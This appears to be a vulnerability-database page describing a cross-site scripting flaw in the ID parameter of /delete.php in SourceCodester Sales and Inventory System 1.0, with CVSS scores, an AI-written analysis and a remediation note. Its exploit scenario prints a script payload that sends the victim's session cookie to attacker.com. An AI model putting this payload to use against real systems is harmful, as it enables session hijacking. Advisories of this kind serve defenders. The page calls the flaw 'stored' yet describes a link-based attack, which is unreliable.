EUVD-2026-20787
GHSA-4phh-x97m-378h
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
6DescriptionCVE.org
A flaw has been found in SourceCodester Sales and Inventory System 1.0. Affected is an unknown function of the file /delete.php of the component GET Parameter Handler. This manipulation of the argument ID causes cross site scripting. Remote exploitation of the attack is possible. The exploit has been published and may be used.
AnalysisAI
Stored cross-site scripting (XSS) in SourceCodester Sales and Inventory System 1.0 allows authenticated remote attackers to inject malicious scripts via the ID parameter in /delete.php, which are executed in the context of other users' browsers when they interact with the affected page. The vulnerability requires user interaction (clicking a malicious link) but has a published proof-of-concept and CVSS 5.1 score reflecting moderate impact on data integrity; exploitation is confirmed possible but not currently in CISA KEV.
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Vulnerability AssessmentAI
| Risk Assessment | CVSS 5.1 with AV:N/AC:L/PR:L/UI:P indicates a network-accessible vulnerability requiring authenticated access and user interaction, placing it in the moderate severity range. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated attacker crafts a malicious URL containing JavaScript payload in the ID parameter (e.g., /delete.php?id=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>) and sends it to a victim user within the same organization. When the victim clicks the link (satisfying the UI:P requirement), the unencoded payload executes in their browser within the context of the inventory system, potentially stealing session cookies or redirecting to a credential harvesting page. … |
| Remediation | The primary remediation is to upgrade SourceCodester Sales and Inventory System to a patched version if available from the vendor; however, no vendor-released patch version has been identified at time of analysis. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
Authentication bypass in Discuz! X5.0 releases 20260320 through 20260501 allows unauthenticated remote attackers to acce
Authenticated remote code execution in Discuz! X5.0 releases 20260320 through 20260501 allows administrators to chain a
Unauthenticated PHP Object Injection in the Happyforms WordPress plugin (versions <= 1.26.13) allows remote attackers to
Unauthenticated PHP Object Injection in the Broadcast Live Video WordPress plugin (versions prior to 7.1.3) allows remot
Unauthenticated PHP object injection in the WordPress plugin 'Integration for Keap/Infusionsoft and Contact Form 7, WPFo
Share
External POC / Exploit Code
Leaving vuln.today